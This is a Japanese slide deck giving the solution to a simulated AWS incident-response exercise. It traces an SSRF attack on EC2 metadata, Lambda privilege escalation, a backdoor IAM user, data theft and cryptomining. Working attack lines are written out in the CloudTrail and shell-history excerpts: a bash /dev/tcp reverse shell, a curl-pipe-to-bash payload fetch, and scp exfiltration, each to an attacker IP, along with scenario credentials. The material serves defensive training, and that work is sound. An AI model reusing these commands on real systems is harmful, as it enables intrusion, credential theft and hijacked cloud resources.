とある診断員とSecurity-JAWS#02_解説編資料

とある診断員とSecurity-JAWS#02 解説編資料 2020/12/12

6.振り返り • 今回のインシデントの全貌 • 攻撃内容の解説とその痕跡について • 原因と対策

調査依頼の内容 • Secutterサービスは何か影響を受けているのか？ • 不正なEC2が動作していた原因について調査をしてください。 • サービス再開のための対策案について提案してください。

答え合わせ • Secutterサービスは何か影響を受けているのか？ YES。攻撃による影響を受けています。今回のインシデントでは攻撃者によってAWS環境を侵害され、AWS環境の管理者権限を奪取されてしまっています。また、Secutterサイトが動作するEC2サーバー内に侵入され、機密情報を窃取されています。具体的に漏えいしたデータの詳細については後述します。そのため当然、サービスをすぐに再開することはできません。また、現状のままでは、再び攻撃を受ける可能性があるためいくつか早急に対応しなければ
ならない問題が存在します。

• 不正なEC2が動作していた原因について調査をしてください。 SecutterサイトのWebアプリケーションに存在したSSRFの脆弱性を攻撃されたことを皮切りに、AWS環境の認証情報を取得され、その後様々な攻撃によって、攻撃者にAWS環境の管理者権限を奪取されました。攻撃者は、管理者権限を利用して、10/3 15:27(JST)にus-west-2(オレゴン)リージョンにEC2を作成し、仮想通貨のマイニングを実行しています。攻撃の詳細については後述します。 •
サービス再開のための対策案について提案してください。こちらの詳細については「原因と対策」のパ－トにて解説します。答え合わせ

攻撃者の動き～管理者権限奪取まで～

攻撃者の動き～管理者権限奪取後～

Detectiveの機能から分かること推奨アプローチで紹介したようにDetectiveの機能と関連リソースの状態を確認するだけでも、以下の情報を把握することができます。 • 攻撃者は35.233.183.126のIPアドレスからアクセスしている • 不正なEC2以外にも、攻撃者によってIAMユーザーやLambda関数なども作成されている • 攻撃には2つの認証情報（read-s3-ec2-role・lambda-creator-user）が悪用され
ている • 攻撃者に管理者権限を奪取されている（lambda-creator-userを見に行けばわかる） • １つの認証情報はS3から漏れたのではないかと推測できる（関連リソースとしてでていたserverless-codes-xxxxxxxxxxxxにアクセスすればピンとくる）

攻撃の詳細解説攻撃者が行った攻撃を4つのフェーズに分け、攻撃の詳細と確認できる攻撃の痕跡について解説します。 • フェーズ1：EC2に存在した脆弱性への攻撃 • フェーズ2 ：AWS環境の管理者権限への権限昇格 • フェーズ3
：EC2内への侵入・機密情報の窃取 • フェーズ4 ：仮想通貨のマイニング

フェーズ1：EC2に存在した脆弱性への攻撃 Secutterサイトに存在したSSRFの脆弱性を攻撃され、 AWS環境の認証情報を取得されてしまったことにより侵害が始まる。

SSRFとは？【参考】SSRF(Server Side Request Forgery)徹底入門 https://blog.tokumaru.org/2018/12/introduction-to-ssrf-server-side-request-forgery.html 指定した任意のリソースに対してHTTPリクエストを行うように、サーバーサイドアプリケーションを誘導させる攻撃手法です。脆弱性の存在するサーバーを踏み台として他サーバーにアクセスさせることによって、本来は直接到達することができないサーバーに対してアクセスすることが可能です。 192.168.0.x
内部NWのサーバー SSRF (Server Side Request Forgery) 公開サーバー通常は内部NWに直接はアクセスできない攻撃者正常遷移のリクエスト ②本来はアクセスできない内部NWサーバ（192.168.0.x）に対して公開サーバーを経由してリクエストが送信される xxx/?URL=http://192.168.0.x xxx/?URL=http://www.example.com http://192.168.0.x ①パラメータの値を任意のURL値に変更して送信

クラウド環境での悪用 • AWSなどのパブリッククラウドサービスではメタデータサービスと呼ばれる機能が存在する。 • この機能は、メタデータと呼ばれるインスタンス固有のデータ(インスタンスID、OSデータ、一時的に付与される認証情報など)を内部 WebAPIを通じて取得するといった仕組みとなっている。 • クラウド環境のサーバーにSSRFの脆弱性が存在する場合には、この
機能を悪用されこのメタデータを不正に取得されてしまう可能性がある。【参考】インスタンスメタデータとユーザーデータ https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/ec2-instance-metadata.html

AWSのAPIを利用して認証情報を取得 IAMロールがアタッチされたEC2インスタンスにおいて、脆弱性を悪用された場合には、EC２のIAMロールに紐づいた認証情報を窃取されてしまう。 AWS側のメタデータAPI SSRFの脆弱性が存在するEC２攻撃者 ②EC2からAWSのメタデータAPIに対して一時的な認証情報の取得を勝手に要求される
xx/?URL=http://169.254.169.254/latest/meta-data/… 認証情報を含んだ結果が返る http://169.254.169.254/latest/meta-data/… 認証情報を窃取正常遷移のリクエスト xxx/?URL=http://www.example.com ①パラメータの値をメタデータサーバーのURL値に変更して送信 ③攻撃者は脆弱性が存在するEC2からのレスポンスから、 EC2に一時的に付与された認証情報を取得することができる

脆弱性が存在した箇所 • プロフィール画像の変更処理（profile.php）にSSRFの脆弱性が存在 • このプラグラムでは、profile_imageパラメータの値に任意のURLを受け渡すことで、URL にアクセスさせ、その応答結果をimagesディレクトリに保存させることが可能 $file_name = $result[0]["profile_image"]; if(!empty($_POST['profile_image']))
{ $image_url = $_POST['profile_image']; $file_name = basename(parse_url($image_url)['path']); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $image_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); $image = curl_exec($ch); $primary_ip = curl_getinfo($ch, CURLINFO_PRIMARY_IP); curl_close ($ch); if(!empty($image)){ file_put_contents('images/' . $file_name, $image); } } パラメータ値で受け渡されたURL値をそのままcurl関数に受け渡して実行しています。 curl関数の実行結果をfile_put_contents関数でimages ディレクトリ内にファイルとして書き込んでいます。

攻撃者が行った攻撃 1. profile_imageパラメータに以下のURL値を挿入してprofile.phpにアクセスし、ロール名(read-s3-ec2-role)を取得 http://169.254.169.254/latest/meta-data/iam/security-credentials 2. 取得したロール名を利用して以下URLを生成し、再びprofile_imageパラメータに以下のURL値を挿入してprofile.phpにアクセスし、一時的に発行されたread-s3-ec2-roleの権限に紐づいた認証情報を取得
http://169.254.169.254/latest/meta-data/iam/security-credentials/read-s3-ec2-role

攻撃の痕跡 Nginxのログに攻撃の痕跡が残っています。攻撃者が利用している35.233.183.126のIPアドレスからのアクセスを確認すれば、SSRF攻撃をされている痕跡を確認することができます。 SecutterにてCarolというユーザーを作成したのちに、profile.phpにSSRF攻撃を行っていることが分かります。

攻撃の痕跡 SSRF攻撃によって作成されたアップロードファイルが、EC2サーバー内（/var/www/html/images 配下）に残存しています。read-s3-ec2-roleファイルには攻撃によって取得された認証情報が記載されています。タイムスタンプより攻撃が行われたと思われる時間も分かります。

実はこれ以外にも攻撃があった？（番外） sqlmapによるSQLインジェクション Niktoによる脆弱性スキャン

このアプリは他にも沢山脆弱性があります（番外） SSRF以外の脆弱性 • つぶやき投稿でのXSS • プロフィール更新でのCSRF • 画像アップロードでのRCE • 他にも..

フェーズ2 ：AWS環境の管理者権限への権限昇格フェーズ１で取得したAWSの認証情報を利用して、情報収集やさらなる攻撃を行い、最終的にはAWS環境の管理者権限へと権限昇格される。

更に別な認証情報を取得攻撃者はSSRF攻撃によって取得した認証情報Aを利用して攻撃を行い、更に別な認証情報Bを取得認証情報内容アタッチされている IAMポリシー認証情報A SSRF攻撃によって取得した認証情報EC2 にアタッチされていたread-s3-ec2-role の権限を持っている
AmazonEC2RoleforSSM AmazonS3ReadOnlyAccess ReadSecretsManagerEC2Pollicy （インラインポリシー）認証情報B IAMユーザー「lambda-creator- user」のアクセスキー。S3バケットに配置されていたlambda_creator.pyにハードコードされている。 lambda-creator-policy （カスタマー管理ポリシー） IAMReadOnlyAccess

攻撃者の動き S3バケットから認証情報Bを取得認証情報Aを利用した情報収集認証情報Bを利用した情報収集管理者権限への権限昇格攻撃者はSSRF攻撃によって取得した認証情報Aを利用して、IAM・各種マネージドサービス（EC2、S3、Lambda、RDS、ALB）の情報収集を行っています。ほとんどの情報収集が権限がないためエラーとなって失敗していますが、AmazonS3ReadOnlyAccessが割り振られていることからS3への情報収集が成功しています。このため、攻撃者は認証情報AにはS3 に対するアクセス権限があることを把握します。
攻撃者はS3バケットの一覧情報を取得し、serverless-codes-xxxxxxxxxxxxというS3バケットに配置されていたLambda関数用のpythonコードをダウンロードしています。ダウンロードされた中のlambda_creator.pyにはlambda-creator-userのアクセスキーがハードコードされており、攻撃者は新たな認証情報Bを取得しています。攻撃者は新たに取得した認証情報Bを利用して、再びIAM・各種マネージドサービスの情報収集を行っています。認証情報BにはIAMReadOnlyAccessがアタッチされていることから、攻撃者にIAMユーザー、グループ、ロールの一覧やそれぞれにアタッチされているIAMポリシーの詳細情報などを取得されています。これらの情報によって、攻撃者は権限昇格に必要な条件がそろっていることを把握します。その後、攻撃者はその条件を利用して、管理者権限への権限昇格を実行します。

攻撃の痕跡 35.233.183.126のIPアドレスより、攻撃者によって取得されたread-s3-ec2-roleの認証情報が利用された形跡はCloudTrailのログから確認できます。CloudTrailのログも攻撃者のIPアドレスで絞り込みをかけて、時系列で見ていくと解析がしやすいと思います。 eventTime 2020-10-03T06:06:34Z eventName GetCallerIdentity eventSource sts.amazonaws.com
requestParameters null responseElements {"userId":"AROA25LD35DA4ENRZA67N:i-0e6921bc7de8aa9e9","account":"xxxxxxxxxxxx","arn":"arn:aw s:sts::xxxxxxxxxxxx:assumed-role/read-s3-ec2-role/i-0e6921bc7de8aa9e9"}

S3バケット「serverless-codes-xxxxxxxxxxxx」にあるlambda_creator.pyが攻撃者により取得されたことも確認できます。実際にS3上に存在するlambda_creator.pyを確認すると、アクセスキーがハードコードされていることも確認できます。 eventTime 2020-10-03T06:11:47Z eventName GetObject eventSource s3.amazonaws.com requestParameters
{"bucketName":"serverless-codes-xxxxxxxxxxxx","Host":"serverless-codes-xxxxxxxxxxxx.s3.ap- northeast-1.amazonaws.com","key":"lambda_creator.py"} responseElements null 攻撃の痕跡

攻撃の痕跡 eventTime 2020-10-03T06:11:48Z eventName GetCallerIdentity eventSource sts.amazonaws.com requestParameters null responseElements
{"userId":"AIDA25LD35DA6H25OUEXZ","account":"xxxxxxxxxxxx","arn":"arn:aws:iam::xxxxxxxxxxxx:u ser/lambda-creator-user"} その後、攻撃者は取得したアクセスキーを用いてアクセスしています。

権限昇格に利用した条件とは？認証情報Bに紐づくIAMユーザー「lambda-creator-user」にはlambda-creator-policy（カスタマー管理ポリシー）がアタッチされています。このlambda-creator-policyは以下のポリシーで構成されています。 • iam:PassRole（存在するロールをリソースに割り当てることができる） • lambda:CreateFunction （新たなLambda関数を作成することができる） •
lambda:InvokeFunction （Lambda関数を実行することができる）また、このAWS環境にはiam-generator-lambda-roleというLambda関数用のロールが存在します。このiam-generator-lambda-roleには以下のポリシーがアタッチされています。 • IAMFullAccess(IAMに関連する機能を全て実行することができる)

権限昇格のメカニズムこれらの条件を利用して、以下のようなlambda関数を利用した操作を行えば権限昇格が可能です。攻撃者はこのような操作を試行し、lambda-creator-userにAdministratorAccessのポリシーをアタッチし、管理者権限を奪取しました。指定したユーザーに管理者権限をアタッチするようなlambda関数を作成 (lambda:CreateFunctionの権限を利用) 処理を実行可能なロール(iam-generator-lambda-role)をlambda関数に割り振る(iam:PassRoleの権限を利用) 作成したlambda関数を実行する（lambda:InvokeFunctionの権限を利用）

eventTime 2020-10-03T06:17:00Z eventName CreateFunction20150331 eventSource lambda.amazonaws.com requestParameters {"functionName":"szkpwned_211205b8c508753167ea","runtime":"python3.7","role":"arn:aws:iam::xx xxxxxxxxxx:role/iam-generator-lambda-role","handler":"function.lambda_handler","code":{},"pub lish":false,"environment":{}}
responseElements {"functionName":"szkpwned_211205b8c508753167ea","functionArn":"arn:aws:lambda:ap-northeast-1: xxxxxxxxxxxx:function:szkpwned_211205b8c508753167ea","runtime":"python3.7","role":"arn:aws:ia m::xxxxxxxxxxxx:role/iam-generator-lambda-role","handler":"function.lambda_handler","codeSize ":286,"description":"","timeout":3,"memorySize":128,"lastModified":"2020-10-03T06:17:00.318+0 000","codeSha256":"zdGGNeorAIs6Yq6rgisFBOc9xtU802GYySqlURLiqGE=","version":"$LATEST","environ ment":{},"tracingConfig":{"mode":"PassThrough"},"revisionId":"4afae776-098c-4f7d-8258-5bcc2de b870e","state":"Active","lastUpdateStatus":"Successful","packageType":"Zip"} 攻撃の痕跡 35.233.183.126のIPアドレスより、szkpwned_211205b8c508753167eaというLambda 関数を作成し、iam-generator-lambda-roleのロールをアタッチしていることなどが CloudTrailのログから確認できます。

攻撃の痕跡その後、作成したLambda関数を実行し、権限昇格を実行しています。 eventTime 2020-10-03T06:17:00Z eventName Invoke eventSource lambda.amazonaws.com requestParameters {"functionName":"arn:aws:lambda:ap-northeast-1:xxxxxxxxxxxx:function:szkpwned_211205b8c508753
167ea","invocationType":"Event"} responseElements null

攻撃の痕跡作成されたLambda関数のソースコード import boto3 def lambda_handler(event, context): client = boto3.client('iam')
response = client.attach_user_policy( UserName='lambda-creator-user', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response

攻撃の痕跡 IAMユーザー「lambda-creator-user」にAdministratorAccessがアタッチされています。

フェーズ3 ：EC2内への侵入・機密情報の窃取管理者権限を奪取した攻撃者に、その権限を利用してEC2 内に侵入される。攻撃者は、サーバー内で情報収集を行い、最終的にはRDSから機密情報を窃取している。

管理者権限を奪取した攻撃者のその後の行動は？管理者権限を利用した情報収集バックドアユーザーの作成 EC2内への侵入攻撃者は認証情報Bにて、再びIAM・各種マネージドサービス（EC2、S3、Lambda、RDS、 ALB）の情報収集を行っています。以前は権限がなかったため失敗していますが、管理者権限が付与されたため、今度はすべてのマネージドサービスに関連する情報を取得されています。攻撃者はbackdoorffd0fb5dac5447659914というバックドア用のIAMユーザーを作成しています。このIAMユーザーにはAdministratorAccessの管理ポリシーがアタッチされて
おり、アクセスキーも発行されています。管理者権限への権限昇格その後、攻撃者は、EC2にアタッチされているread-s3-ec2-roleの権限と、あるAWSサービスを悪用してEC2内に侵入しています。

攻撃の痕跡 35.233.183.126のIPアドレスより、IAMユーザー「backdoorffd0fb5dac5447659914」を作成していることがCloudTrailのログから確認できます。 eventTime 2020-10-03T06:22:18Z eventName CreateUser eventSource iam.amazonaws.com requestParameters
{"userName":"backdoorffd0fb5dac5447659914"} responseElements {"user":{"path":"/","userName":"backdoorffd0fb5dac5447659914","userId":"AIDA25LD35DAV6LA7DV65 ","arn":"arn:aws:iam::xxxxxxxxxxxx:user/backdoorffd0fb5dac5447659914","createDate":"Oct 3, 2020 6:22:18 AM"}}

攻撃者がEC2の侵入に利用したマネージドサービス • AWS Systems Manager https://aws.amazon.com/jp/systems-manager/ ◦ AWSおよびオンプレミスのサーバ群を管理するための多機能なマネージドサービス ◦
EC2インスタンス・オンプレミスのサーバにインストールされた SSM Agentを介して、AWS Systems Managerに情報集約し、管理することが可能です。【参考】AWS再入門ブログリレー AWS Systems Manager編 https://dev.classmethod.jp/articles/relay-re-introduction-2019-ssm/

Run Commandを悪用 • Secutterが動作するEC2では、SSM Agentが動作しており、EC2インスタンスにもAWS Systems Managerを利用するためのロール（※）がアタッチされているため、このサービスを利用することができます。 ※read-s3-ec2-roleには管理ポリシーAmazonEC2RoleforSSMがアタッチされています。 •
今回の攻撃では、AWS Systems Managerの機能であるRun Commandを悪用しています。 • Run Commandの機能は、管理対象のサーバーに対して、アップデートなどの管理タスクを行うために、リモートからコマンド実行を行うための機能です。 • SSM Agentは、rootアクセス権限 (Linux) または SYSTEM アクセス権限 (Windows Server) を使用して EC2 インスタンスで実行されます。 • つまり、この機能を悪用することで、リモートからEC2インスタンスにroot権限にて任意のコードを実行させることが可能です。

Reverse Shell接続を用いて侵入攻撃者はRun Commandの機能を悪用して以下のコマンドを実行しています。このコマンドはbashの機能を利用して攻撃者のサーバー（35.233.183.126）の4444ポートにReverse Shell接続を行うためのものです。攻撃者は攻撃者のサーバーにて接続を待ち受けており、この接続を経由してEC2 内へ侵入しました。 /bin/bash
-i >& /dev/tcp/35.233.183.126/4444 0>&1

35.233.183.126のIPアドレスより、Runcommandが実行されていることが、CloudTrailのログから確認できます。対象のインスタンスIDよりSecutterが動作するEC2でコマンドが実行されていることが確認できます。 eventTime 2020-10-03T06:22:24Z eventName SendCommand eventSource ssm.amazonaws.com requestParameters
{"instanceIds":["i-0e6921bc7de8aa9e9"],"documentName":"AWS-RunShellScript","parameters":{"com mands":["/bin/bash -i >& /dev/tcp/35.233.183.126/4444 0>&1"]},"interactive":false} responseElements {"command":{"commandId":"9abe6ca5-4780-44e7-a537-2b299d0b2e28","documentName":"AWS-RunShellSc ript","documentVersion":"","comment":"","expiresAfter":"Oct 3, 2020 8:22:24 AM","parameters": {"commands":["/bin/bash -i >& /dev/tcp/35.233.183.126/4444 0>&1"]},"instanceIds":["i-0e6921bc 7de8aa9e9"],"targets":[],"requestedDateTime":"Oct 3, 2020 6:22:24 AM","status":"Pending","sta tusDetails":"Pending","outputS3BucketName":"","outputS3KeyPrefix":"","maxConcurrency":"50","m axErrors":"0","targetCount":1,"completedCount":0,"errorCount":0,"deliveryTimedOutCount":0,"se rviceRole":"","notificationConfig":{"notificationArn":"","notificationEvents":[],"notificatio nType":""},"cloudWatchOutputConfig":{"cloudWatchLogGroupName":"","cloudWatchOutputEnabled":fa lse},"interactive":false,"timeoutSeconds":3600}} 攻撃の痕跡

攻撃の痕跡 EC2内のSSM エージェントのログ（/var/log/amazon/ssm/amazon-ssm-agent.log）にもコマンドが実行された形跡が残っています。 2020-10-03 15:22:25 INFO [ssm-document-worker] [9abe6ca5-4780-44e7-a537-2b299d0b2e28] [DataBackend]
[pluginName=aws:run ShellScript] aws:runShellScript started with configuration {<nil> map[id:0.aws:runShellScript runCommand:[/bin/bash -i >& /dev/tcp/35.233.183.126/4444 0>&1] timeoutSeconds:3600 workingDirectory:] 9abe6ca5-4780-44e7-a537-2b299d0b2e28/i-0e6 921bc7de8aa9e9/awsrunShellScript false false /var/lib/amazon/ssm/i-0e6921bc7de8aa9e9/document/orchestration/9abe6ca5- 4780-44e7-a537-2b299d0b2e28/awsrunShellScript aws.ssm.9abe6ca5-4780-44e7-a537-2b299d0b2e28.i-0e6921bc7de8aa9e9 9abe6ca5 -4780-44e7-a537-2b299d0b2e28 aws:runShellScript aws:runShellScript map[] false [] false }

EC2内での攻撃者の行動～その１～ python -c 'import pty; pty.spawn("/bin/bash")' id uname -a w
last printenv curl -sS -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh chmod +x /tmp/LinEnum.sh /tmp/LinEnum.sh cat /etc/nginx/nginx.conf ls -la /var/www/html/ 攻撃者はまずは各種Linuxコマンドを使用して情報収集をしています。その後、情報収集用のシェルスクリプトをダウンロードして実行しています。なお、侵入後に実行されたコマンドはrootユーザー権限で実行されています。 Linuxシステムの内部情報を収集するシェルスクリプトを実行

EC2内での攻撃者の行動～その2～ cat /etc/nginx/nginx.conf ls -la /var/www/html/ cat /var/www/html/database_connection.php mysql -u
secutter -p'veryverysecurepw' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com ls -la /home/ec2-user/ ls -la /home/ec2-user/.ssh cat /home/ec2-user/setup.sh aws secretsmanager get-secret-value --secret-id secutter-prd-db-secret --region ap-northeast-1 mysql -u master -p'7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com 攻撃者はDBの接続情報が記載されたphpファイルを参照し、記載してある認証情報を利用して、secutterユーザーでRDSにアクセスしています。また、その後いくつかのコマンド実行後に、今度はmasterユーザー（RDSの管理者ユーザー）でRDSにアクセスしています。 masterユーザーでRDSに接続 secutterユーザーでRDSに接続

なぜRDSの管理者の認証情報が取得されたのか？ • AWS Secrets Manager https://aws.amazon.com/jp/secrets-manager/ ◦ データベースの認証情報や、パスワードなどの任意の機密情報をAPIコールで取得できるためのAWSサービス ◦
APIを呼び出すことで機密情報を取得できるためアプリケーションなどにハードコードする必要がない ◦ パスワードなどを一定間隔でローテーションさせることも容易となる【参考】機密情報を一元管理できる「AWS Secrets Manager」とは？概要と主要機能、動作原理、各種リソースまとめ https://dev.classmethod.jp/articles/about-secrets-manager/

#!/bin/sh ssm_github="Github" ssm_mysql="secutter-prd-db-secret" s3_fluentd="secutter-logs-xxxxxxxxxxxx" ～中略～ # Deploying the Secutter app
secret=$(aws secretsmanager get-secret-value --secret-id $ssm_github --region ap-northeast-1 | jq .SecretString | jq fromjson) token=$(echo $secret | jq -r .token) ～中略～ # Importing tables to MySQL secret=$(aws secretsmanager get-secret-value --secret-id $ssm_mysql --region ap-northeast-1 | jq .SecretString | jq fromjson) user=$(echo $secret | jq -r .username) password=$(echo $secret | jq -r .password) セットアップ用スクリプトにてこのサービスを利用 /home/ec2-user/setup.shの一部このAWSサービスはsetup.shにて管理者用DBユーザーの認証情報などを取得するために利用されていました。

{ "Name": "secutter-prd-db-secret", "VersionId": "5dc24f40-c14d-4f09-ae08-c8b231feada0", "SecretString": "{¥"password¥":¥"7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7¥",¥"username¥":¥"master¥",¥"host¥":¥"secutter-prd-db.chch2ezj5tkn.ap-northeast- 1.rds.amazonaws.com¥",¥"port¥":¥"3306¥"}", "VersionStages": [
"AWSCURRENT" ], "CreatedDate": 1601703427.558, "ARN": "arn:aws:secretsmanager:ap-northeast-1:xxxxxxxxxxxx:secret:secutter-prd-db-secret-aVjx4M" } cat /home/ec2-user/setup.sh aws secretsmanager get-secret-value --secret-id secutter-prd-db-secret --region ap-northeast-1 mysql -u master -p'7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com 攻撃者はこのサービスを利用して認証情報を入手攻撃者はsetup.shの内容より、このサービスを利用していることを把握し、 AWS CLIを実行してRDSの管理者権限の認証情報を取得しました。 AWS CLIの実行結果

EC2内での攻撃者の行動～その3～ mysqldump -u master -p'7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com testing > /tmp/testing.dump
mysqldump -u master -p'7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com credit > /tmp/credit.dump tar zcf /tmp/app.tar.gz -C / var/www/html/ scp -oStrictHostKeyChecking=no -r /tmp/app.tar.gz [email protected]:/home/kzsregit/ scp -oStrictHostKeyChecking=no -r /tmp/testing.dump [email protected]:/home/kzsregit/ scp -oStrictHostKeyChecking=no -r /tmp/credit.dump [email protected]:/home/kzsregit/ rm -rf /tmp/* echo 'Oh my god! This host is hacked!' > /home/ec2-user/read.me 攻撃者はその後、masterユーザーの権限を利用して、testing・creditのデータベース情報をダンプしています。また、secutterのソースコードをtarコマンドで圧縮し、それらの情報を攻撃者のサーバー（35.233.183.126）へscpコマンドを用いて転送しています。 scpコマンドを利用して攻撃者サーバーへ機密情報を送信

攻撃の痕跡 rootユーザーの.bash_historyに攻撃者が実行したコマンドの形跡が残っています。

フェーズ4 ：仮想通貨のマイニング攻撃者によって、別リージョンであるus-west-2(オレゴン)にて、不正なEC2インスタンスが作成され、仮想通貨をマイニングされる。

マイニングまでの流れ EC2や関連リソースを作成作成したEC2にロールをアタッチコマンド実行によりマイニングを実行実際の攻撃では事前にマイニングツールがインストールされたカスタムAMIが展開されることが多いですが、今回はあえてAmazonのオリジナルAMIのEC2を構築してから、コマンド実行を行ってマイニングツールをダウンロードし、実行しています。攻撃者によってus-west-2(オレゴン)リージョンにEC2及びもろもろの関連リソース（VPC, サブネット、インターネットゲートウェイ、セキュリティグループ、キーペア）が作成され
ました。コインマイナーの実行には、Reverse Shellと同様にAWS Systems ManagerのRun Commandを利用しています。今回の攻撃では攻撃者サーバーより、XMRigや設定ファイルなどをダウンロードして実行することで、仮想通貨Moneroをマイニングしています。 Secutterが動作するEC2にアタッチされていたread-s3-ec2-roleを作成したEC2にアタッチしています。

攻撃の痕跡 35.233.183.126のIPアドレスより、us-west-2(オレゴン)リージョンにEC2インスタンスを作成していることがCloudTrailのログから確認できます。 eventTime 2020-10-03T06:27:30Z eventName RunInstances eventSource ec2.amazonaws.com requestParameters
{"instancesSet":{"items":[{"imageId":"ami-0a07be880014c7b8e","minCount":1,"maxCount":1,"keyName":"evilec2"}]},"groupSet":{"items": [{"groupId":"sg-0c876103f0ed74e5f"}]},"instanceType":"t2.micro","blockDeviceMapping":{},"monitoring":{"enabled":false},"subnetId":"s ubnet-055b00734e2968c74","disableApiTermination":false,"clientToken":"1f778311-4250-4384-a37a-a925e41b98dd","tagSpecificationSet":{" items":[{"resourceType":"instance","tags":[{"key":"Name","value":"evil_ec2"}]}]}} responseElements {"requestId":"a966f6e2-58a7-49ee-9a9a-1088e84d0f99","reservationId":"r-0b3f12216e028d1ad","ownerId":"xxxxxxxxxxxx","groupSet":{},"in stancesSet":{"items":[{"instanceId":"i-03bc24bc72dd2ab01","imageId":"ami-0a07be880014c7b8e","instanceState":{"code":0,"name":"pendin g"},"privateDnsName":"ip-10-0-0-137.us-west-2.compute.internal","keyName":"evilec2","amiLaunchIndex":0,"productCodes":{},"instanceTy pe":"t2.micro","launchTime":1601706450000,"placement":{"availabilityZone":"us-west-2a","tenancy":"default"},"monitoring":{"state":"d isabled"},"subnetId":"subnet-055b00734e2968c74","vpcId":"vpc-0220d4f622a8fcbda","privateIpAddress":"10.0.0.137","stateReason":{"code ":"pending","message":"pending"},"architecture":"x86_64","rootDeviceType":"ebs","rootDeviceName":"/dev/xvda","blockDeviceMapp ing":{}, "virtualizationType":"hvm","hypervisor":"xen","tagSet":{"items":[{"key":"Name","value":"evil_ec2"}]},"clientToken":"1f778311 -4250-43 84-a37a-a925e41b98dd","groupSet":{"items":[{"groupId":"sg-0c876103f0ed74e5f","groupName":"evil-ec2"}]},"sourceDestCheck":true,"netwo rkInterfaceSet":{"items":[{"networkInterfaceId":"eni-09f3c4d0a00149483","subnetId":"subnet-055b00734e2968c74","vpcId":"vpc-0220d4f62 2a8fcbda","ownerId":"xxxxxxxxxxxx","status":"in-use","macAddress":"02:cf:c1:c1:68:bb","privateIpAddress":"10.0.0.137","sourceDestChe ck":true,"interfaceType":"interface","groupSet":{"items":[{"groupId":"sg -0c876103f0ed74e5f","groupName":"evil-ec2"}]},"attachment": {"attachmentId":"eni-attach-0c6c270fee275f8b1","deviceIndex":0,"status":"attaching","attachTime":1601706450000,"deleteOnTermination ":true},"privateIpAddressesSet":{"item":[{"privateIpAddress":"10.0.0.137","primary":true}]},"ipv6AddressesSet":{},"tagSet":{} }]},"eb sOptimized":false,"cpuOptions":{"coreCount":1,"threadsPerCore":1},"capacityReservationSpecification":{"capacityReservationPre ference ":"open"},"enclaveOptions":{"enabled":false},"metadataOptions":{"state":"pending","httpTokens":"optional","httpPutResponseHop Limit": 1,"httpEndpoint":"enabled"}}]}}

作成したEC2に対してコマンド実行していることも確認できます。curlコマンドにて攻撃者サーバーよりjpgファイルをダウンロードし、その結果をコマンドとして実行しています。 eventTime 2020-10-03T06:34:07Z eventName SendCommand eventSource ssm.amazonaws.com requestParameters {"instanceIds":["i-03bc24bc72dd2ab01"],"documentName":"AWS-RunShellScript","parameters":{"com
mands":["curl -s http://35.233.183.126:5555/szk.jpg | bash -s"]},"interactive":false} responseElements {"command":{"commandId":"758ea208-f31d-451f-b96d-186722710408","documentName":"AWS-RunShellSc ript","documentVersion":"","comment":"","expiresAfter":"Oct 3, 2020 8:34:07 AM","parameters": {"commands":["curl -s http://35.233.183.126:5555/szk.jpg | bash -s"]},"instanceIds":["i-03bc2 4bc72dd2ab01"],"targets":[],"requestedDateTime":"Oct 3, 2020 6:34:07 AM","status":"Pending"," statusDetails":"Pending","outputS3BucketName":"","outputS3KeyPrefix":"","maxConcurrency":"50", "maxErrors":"0","targetCount":1,"completedCount":0,"errorCount":0,"deliveryTimedOutCount":0," serviceRole":"","notificationConfig":{"notificationArn":"","notificationEvents":[],"notificat ionType":""},"cloudWatchOutputConfig":{"cloudWatchLogGroupName":"","cloudWatchOutputEnabled": false},"interactive":false,"timeoutSeconds":3600}} 攻撃の痕跡

このAWS環境は一体何がダメだったのか？侵害されてしまった直接的な要因としては以下が挙げられます。 • SecutterのWebアプリケーションに脆弱性（SSRF）が存在 • EC2に必要以上のS3バケットへのアクセス権限が存在 • S3上にアクセスキーがハードコードされていたスクリプト (lambda_creator.py)が存在
• IAMが操作できる高権限のLambda関数のロールが放置されていた • super-developerの作業内容が管理されていなかった…

被害を拡大しないために最優先で行うべきこと攻撃者によって再び悪用される可能性があるアクセスキーやアカウントの無効化を対応 • read-s3-ec2-roleにおけるアクティブなセッションの無効化 • lambda-creator-userのアクセスキーを無効化（AdministratorAccessのポリシーをデタッチすることと、S3上のスクリプトファイルもあわせて削除） •
攻撃者が作成したバックドアユーザー（backdoorffd0fb5dac5447659914）を削除

• Secutterサイト利用者の情報・クレジットカード情報などが漏洩しているため、関係者や関連機関に対する事象の説明や謝罪などを実施する必要があるでしょう。 • パスワードのハッシュ値を含むユーザアカウント情報が漏洩していることから、Secutterサイトにおけるパスワードの再設定はもちろん、同じパスワードを使いまわしている他サイトについてもパスワードを変更するように通知したほうが良いでしょう。サイト利用者などへの対応も必要

リリース再開に向けた対策 • 攻撃者によって作成されたAWS環境のリソースを削除 • Webアプリケーションの脆弱性対策 • RDSアカウントのパスワード変更 • IAM関連の見直しや各種AWSリソースの棚卸 •
SSRF攻撃への緩和策としてIMDSv2の導入【参考】[待望のアプデ]EC2インスタンスメタデータサービスv2がリリースされてSSRF脆弱性等への攻撃に対するセキュリティが強化されました！ https://dev.classmethod.jp/articles/ec2-imdsv2-release/

まとめ

AWS環境のインシデントレスポンスとは • AWSの各種サービスへの理解が必要 • 一般的なITやセキュリティの知識ももちろん必要 • ハイブリッドで必要になる • AWSの仕組みで調査しやすい部分もある •
